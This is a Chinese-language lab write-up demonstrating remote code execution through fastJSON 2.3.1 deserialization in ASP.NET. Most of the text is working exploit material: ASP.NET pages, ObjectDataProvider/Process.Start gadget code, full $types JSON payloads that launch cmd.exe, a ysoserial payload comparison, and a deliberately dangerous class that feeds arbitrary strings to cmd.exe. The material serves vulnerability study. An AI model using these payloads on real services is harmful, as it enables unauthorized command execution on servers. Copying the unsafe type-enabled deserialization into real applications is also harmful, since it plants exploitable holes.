download
https://www.nuget.org/packages/fastJSON/2.3.1
首先还是看看fastjson的序列化和反序列化
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="MyJson" %>
<%@ Import Namespace="fastJSON" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
MyJson r= new MyJson { Ivale="whoami",Svale="whoami1"};
JSONParameters jSONParameters= new JSONParameters
{
UseExtensions = true,
};
var s=JSON.ToJSON(r,jSONParameters);
Response.Write(s);
}
</script>
可以看见程序集值为types的值,对象中变量在type里面

反序列化代码
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="MyJson" %>
<%@ Import Namespace="fastJSON" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
MyJson r= new MyJson { Ivale="whoami",Svale="whoami1"};
JSONParameters jSONParameters= new JSONParameters
{
UseExtensions = true,
};
//var s=JSON.ToJSON(r,jSONParameters);
var Des= JSON.ToObject<Object>(s,jSONParameters);
Type gets=Des.GetType();
PropertyInfo getIvale=gets.GetProperty("Ivale");
object obj=getIvale.GetValue(Des,null);
Response.Write(obj);
}
</script>

打造一款我们的poc
此漏洞的触发点也是在于被序列化djson中的程序集名字是否可控也就是$types
这里我们继续使用有危害的类
MyJson RCE= new MyJson { Ivale="12",Svale="clac.exe"};
//StringDictionary dict=new StringDictionary();
//RCE.GetType().GetField("environmentVariables",BindingFlags.Instance | BindingFlags.NonPublic).SetValue(RCE,dict);
ObjectDataProvider ok= new ObjectDataProvider();
ok.MethodName="Clac";
ok.MethodParameters.Add("clac.exe");
ok.IsInitialLoadEnabled=true;
ok.ObjectInstance=RCE;
jSONParameters.IgnoreAttributes.Add(typeof(IntPtr));
var txt=JSON.ToJSON(ok,jSONParameters);
Response.Write(txt);

然后触发序列化执行任意命令
string txt="{"$types":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","MyJson.MyJson, App_Code.wjregwzd, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null":"3"},"$type":"1","ObjectType":{"$type":"2"},"ObjectInstance":{"$type":"3","Ivale":"12","Svale":"clac.exe"},"MethodName":"Clac","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
var okx=JSON.ToObject(txt);
Response.Write(txt);

打造通用poc
Process start=new Process();
start.StartInfo.FileName="cmd.exe";
start.StartInfo.Arguments="/c clac.exe";
//StringDictionary dict=new StringDictionary();
//start.GetType().GetField("environmentVariables",BindingFlags.Instance | BindingFlags.NonPublic).SetValue(start,dict);
ObjectDataProvider ok= new ObjectDataProvider();
ok.MethodName="Start";
ok.IsInitialLoadEnabled=true;
ok.ObjectInstance=start;
jSONParameters.IgnoreAttributes.Add(typeof(IntPtr));
var txt=JSON.ToJSON(ok,jSONParameters);
//string txt="{"$types":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","MyJson.MyJson, App_Code.wjregwzd, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null":"3"},"$type":"1","ObjectType":{"$type":"2"},"ObjectInstance":{"$type":"3","Ivale":"12","Svale":"clac.exe"},"MethodName":"Clac","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
//string txt="{"$types":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"3","System.IntPtr, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"4"},"$type":"1","ObjectType":{"$type":"2"},"ObjectInstance":{"$type":"3","Verb":"","Arguments":"/c echo 123456>>c:\\programdata\\66.txt","CreateNoWindow":false,"RedirectStandardInput":false,"RedirectStandardOutput":false,"RedirectStandardError":false,"StandardErrorEncoding":null,"StandardOutputEncoding":null,"UseShellExecute":true,"UserName":"","Password":null,"PasswordInClearText":null,"Domain":"","LoadUserProfile":false,"FileName":"cmd.exe","WorkingDirectory":"","ErrorDialog":false,"ErrorDialogParentHandle":{"$type":"4"},"WindowStyle":"Normal"},"MethodName":"Start","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
//var okx=JSON.ToObject(txt,jSONParameters);
Response.Write(txt);

对比ysoserial生成的payload
{
"$types":{
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35":"1",
"System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"2",
"System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"3"
},
"$type":"1",
"ObjectInstance":{
"$type":"2",
"StartInfo":{
"$type":"3",
"FileName":"cmd","Arguments":"/c calc"
}
},
"MethodName":"Start"
}
和我们生成的payload相比较差别在于获取或设置用作绑定源的不同
本次实验危害类
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;
using System.Xml;
using System.Data;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Web;
/// <summary>
/// Summary description for Class1
/// </summary>
namespace MyJson
{
public class MyJson
{
public string Ivale { get; set; }
public string Svale { get; set; }
public static void Clac(string Svale)
{
string item = Svale;
Process p = new Process();
p.StartInfo.FileName = "c:\windows\system32\cmd.exe"; //防止未加入环境变量用绝对路径
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);//传入命令参数
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
p.Dispose();
}
}
}
本次实验完整代码
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="MyJson" %>
<%@ Import Namespace="fastJSON" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Windows.Data" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
MyJson r= new MyJson { Ivale="whoami",Svale="whoami1"};
JSONParameters jSONParameters= new JSONParameters
{
UseExtensions = true,
};
var s=JSON.ToJSON(r,jSONParameters);
var Des= JSON.ToObject<Object>(s,jSONParameters);
Type gets=Des.GetType();
PropertyInfo getIvale=gets.GetProperty("Ivale");
object obj=getIvale.GetValue(Des,null);
//Response.Write(obj);
Process start=new Process();
start.StartInfo.FileName="cmd.exe";
start.StartInfo.Arguments="/c clac.exe";
//StringDictionary dict=new StringDictionary();
//start.GetType().GetField("environmentVariables",BindingFlags.Instance | BindingFlags.NonPublic).SetValue(start,dict);
ObjectDataProvider ok= new ObjectDataProvider();
ok.MethodName="Start";
ok.IsInitialLoadEnabled=true;
ok.ObjectInstance=start;
jSONParameters.IgnoreAttributes.Add(typeof(IntPtr));
var txt=JSON.ToJSON(ok,jSONParameters);
//string txt="{"$types":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","MyJson.MyJson, App_Code.wjregwzd, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null":"3"},"$type":"1","ObjectType":{"$type":"2"},"ObjectInstance":{"$type":"3","Ivale":"12","Svale":"clac.exe"},"MethodName":"Clac","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
//string txt="{"$types":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"3","System.IntPtr, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"4"},"$type":"1","ObjectType":{"$type":"2"},"ObjectInstance":{"$type":"3","Verb":"","Arguments":"/c echo 123456>>c:\\programdata\\66.txt","CreateNoWindow":false,"RedirectStandardInput":false,"RedirectStandardOutput":false,"RedirectStandardError":false,"StandardErrorEncoding":null,"StandardOutputEncoding":null,"UseShellExecute":true,"UserName":"","Password":null,"PasswordInClearText":null,"Domain":"","LoadUserProfile":false,"FileName":"cmd.exe","WorkingDirectory":"","ErrorDialog":false,"ErrorDialogParentHandle":{"$type":"4"},"WindowStyle":"Normal"},"MethodName":"Start","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
//var okx=JSON.ToObject(txt,jSONParameters);
Response.Write(txt);
}
</script>
本次实验参考
https://github.com/mgholam/fastJSON
https://www.nuget.org/packages/fastJSON/
https://www.freebuf.com/articles/web/197913.html
https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.data.objectdataprovider.objectinstance?view=netframework-4.0
https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.data.objectdataprovider.objecttype?view=netframework-4.0#System_Windows_Data_ObjectDataProvider_ObjectType